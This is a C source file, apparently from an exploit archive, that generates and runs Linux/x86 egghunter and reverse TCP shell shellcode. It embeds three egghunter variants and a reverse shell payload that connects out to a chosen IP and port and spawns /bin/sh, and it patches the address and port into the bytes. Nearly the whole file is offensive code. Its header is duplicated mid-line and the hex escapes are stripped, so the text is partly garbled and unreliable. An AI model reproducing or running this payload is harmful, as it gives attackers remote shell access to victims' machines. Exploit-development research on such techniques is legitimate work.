/***
Linux/x86 - Egghunter Reverse TCP Shell Shellcode Generator with dynamic IP and port Shellcode
Author: d7x
https://d7x.promiselabs.net/
https://www.promiselabs.net /***
Linux/x86 - Egghunter Reverse TCP Shell Shellcode Generator with dynamic IP and port Shellcode
Author: d7x
https://d7x.promiselabs.net/
https://www.promiselabs.net/
***/

/*
Egghunter payloads from skape modified to work on a modern up to date architecture
For detailed information on the egghunter payloads and egghunter research refer to the original whitepaper by skape:
Safely Searching Process Virtual Address Space http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
Example usage of egghunters https://www.fuzzysecurity.com/tutorials/expDev/4.html
*/

/* Usage: $ gcc -fno-stack-protector -z execstack -o egghunter egghunter_shellcode.c
$ ./egghunter 2 3d7xC0D3 192.168.1.137 6666 # This will output AND execute the egghunter! (if you get a seg fault/core dumped error either your shellcode output contains null bytes or you have no idea what you are doing)
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>

void PrintShellcode(unsigned char* s);
void change_shellcode_bytes(unsigned char shellcode[], int offset, int n, unsigned char new[]);
unsigned char* ConvertStrToHex(unsigned char* s);

unsigned char egghunter[][200] = {
{"xBBx90x50x90x50x31xC9xF7xE1x66x81xCAxFFx0Fx42x60x8Dx5Ax04xB0x21xCDx80x3CxF2x61x74xEDx39x1Ax75xEEx39x5Ax04x75xE9xFFxE2"}, // access method - 39 bytes
{"x31xC9x31xD2x66x81xCAxFFx0Fx42x8Dx5Ax04x6Ax21x58xCDx80x3CxF2x74xEExB8x90x50x90x50x89xD7xAFx75xE9xAFx75xE6xFFxE7"}, //access revisited (fixed) - 37 bytes
{"x31xC9x66x81xC9xFFx0Fx41x6Ax43x58xCDx80x3CxF2x74xF1xB8x90x50x90x50x89xCFxAFx75xECxAFx75xE9xFFxE7"} //sigaction method (fixed) - 32 bytes
};

/* unsigned char egghunter[] =
"x31xC9x66x81xC9xFFx0Fx41x6Ax43x58xCDx80x3CxF2x74xF1xB8x90x50x90x50x89xCFxAFx75xECxAFx75xE9xFFxE7"; //sigaction method (fixed) - 32 bytes
//"x66x81xC9xFFx0Fx41x6Ax43x58xCDx80x3CxF2x74xF1xB8x90x50x90x50x89xCFxAFx75xECxAFx75xE9xFFxE7"; //sigaction method (original version by skape - 30 bytes)
//"x31xC9x31xD2x66x81xCAxFFx0Fx42x8Dx5Ax04x6Ax21x58xCDx80x3CxF2x74xEExB8x90x50x90x50x89xD7xAFx75xE9xAFx75xE6xFFxE7"; //access revisited (fixed) - 37 bytes
//"x31xD2x66x81xCAxFFx0Fx42x8Dx5Ax04x6Ax21x58xCDx80x3CxF2x74xEExB8x90x50x90x50x89xD7xAFx75xE9xAFx75xE6xFFxE7"; //access revisited (original version by skape) - 35 bytes
//"xBBx90x50x90x50x31xC9xF7xE1x66x81xCAxFFx0Fx42x60x8Dx5Ax04xB0x21xCDx80x3CxF2x61x74xEDx39x1Ax75xEEx39x5Ax04x75xE9xFFxE2"; // access method - 39 bytes
*/

/* Reverse TCP Shell:
egg x90x50x90x50x90x50x90x50
127.1.1.1 4444 */
unsigned char shellcode[] =
"x90x50x90x50x90x50x90x50x31xc0x31xdbxb0x66xb3x01x31xd2x52x6ax01x6ax02x89xe1xcdx80x89xc6xb0x66xb3x03x68x7fx01x01x01x66x68x11x5cx66x6ax02x89xe1x6ax10x51x56x89xe1xcdx80x31xc9x31xc0xb0x3fx89xf3xcdx80xfexc1x66x83xf9x02x7exf0x31xc0x50xb0x0bx68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9xcdx80"; //IP address at eggsize + 26th byte; Port at eggsize + 32nd byte

int eggsize = 4; //default

main(int argc, char *argv[])
{

if (argc < 2)
{
printf("Usage: %s <egghunter> [egg] [IP] [Port]", argv[0]);
printf(" Example: %s 0 0x9050 127.1.1 4444 "
"%s 1 AABB 127.1.1.1 4444 "
"%s 2 AABBCCDD 127.1.1.1 4444 "
"%s 2 3d7xC0D3 127.1.1.1 4444 ", argv[0], argv[0], argv[0], argv[0]);
printf(" Default egg: \x90\x50\x90\x50 (push eax, nop, push eax, nop)"
" Default shellcode IP and port 127.1.1.1:4444");
printf(" Available egghunters:"
" 0 - access method (39 bytes), requires executable egg"
" 1 - access revisited (37 bytes)"
" 2 - sigaction (32 bytes) "
);

return 0;
}

int eh = atoi((char *)argv[1]);
if (eh < 0 || eh > 2)
{
printf("Invalid Egghunter: %d! ", eh);

return 0;
}

if (argc > 2)
{
if (argv[2][0] == '0' && argv[2][1] == 'x') argv[2] += 2;

if (strlen(argv[2]) != 4 && strlen(argv[2]) != 8)
{
printf("Egg has to be at least 4 or exactly 8 bytes!"
" Example eggs: 9050, 9060, C0D3,"
" d7xC0D3D, 3d7xC0D3, 3d7xC0D3, 7d7xC0D3"
" "
);

return 0;
}

int i;
for (i = 0; i < strlen(argv[2]); i+=2)
if (argv[2][i] == '0' && argv[2][i+1] == '0')
{
printf("No null bytes! ");
return 0;
}

}

/* change egg if provided */
int eh_offset = 1; // default offset for access method (39 bytes)
if (eh == 1) eh_offset = 23; // offset for access revisited (37 bytes)
else if (eh ==2) eh_offset = 18; // offset for sigaction (32 bytes)

if (argc > 2) {

unsigned char* new_egg = argv[2], *s, *tmp;
printf("Changing egg to %s... ", new_egg);

s = ConvertStrToHex(argv[2]);
tmp = s;


//fill buffer - 4 bytes of [egg], then concatenate additional 4 bytes of [egg] (8 bytes)
strcat(tmp, s);
if (strlen(argv[2]) == 4)
strcat(tmp, tmp);

//PrintShellcode(s);
change_shellcode_bytes(egghunter[eh], eh_offset, eh_offset+3, s);
change_shellcode_bytes(shellcode, 0, 7, tmp);
}

printf("Egghunter %d, size %d ", eh, strlen(egghunter[eh] ) );
printf("Egghunter shellcode: ");
PrintShellcode(egghunter[eh]);

printf(" Reverse TCP Shellcode (%d bytes): ", strlen(shellcode));

// change shellcode IP address
unsigned char *s2 = shellcode;
if (argc > 3)
{
printf("%s ", argv[3]);

// convert IP address to binary representation and store in ipaddr.sin_addr.s_addr
struct sockaddr_in ipaddr;
inet_aton(argv[3], &ipaddr.sin_addr.s_addr);


int i = eggsize*2+26, a;
int e = i+3;

for (i, a = 0; i <= e; i++, a+=8)
{
s2[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ;
printf("Byte %d: %.02x ", i, s2[i]);
}

}

// change shellcode Port
int port = 4444; //0x115c - default

if (argc > 4)
{
port = atoi(argv[4]);
unsigned int p1 = (port >> 8) & 0xff;
unsigned int p2 = port & 0xff;
s2[eggsize*2+32] = (unsigned char){p1};
s2[eggsize*2+33] = (unsigned char){p2};
}

printf("Port %d ", port);
PrintShellcode(s2);

printf(" ");
int (*ret)() = (int(*)())egghunter[eh];

ret();

}

void change_shellcode_bytes(unsigned char* shellcode_n, int offset, int n, unsigned char* new)
{
int i, a;
for (i = offset, a = 0; i <= n; i++, a++)
shellcode_n[i] = (unsigned char) {new[a]};
// printf("Byte %d: %.02x ", i, shellcode_n[i]);
}

void PrintShellcode(unsigned char* s)
{
printf(""");
while (*s)
printf("\x%.02x", (unsigned int) *s++);

printf("" ");
}

unsigned char* ConvertStrToHex(unsigned char* s)
{
if (s[0] == '0' && s[1] == 'x') s += 2;
unsigned char buf[strlen(s)/2];
buf[strlen(s)/2] = '';

int len = sizeof(buf);
size_t count;

for (count = 0; count < len; count++) {
sscanf(s, "%2hhx", &buf[count]);
s += 2;
}

return buf;
}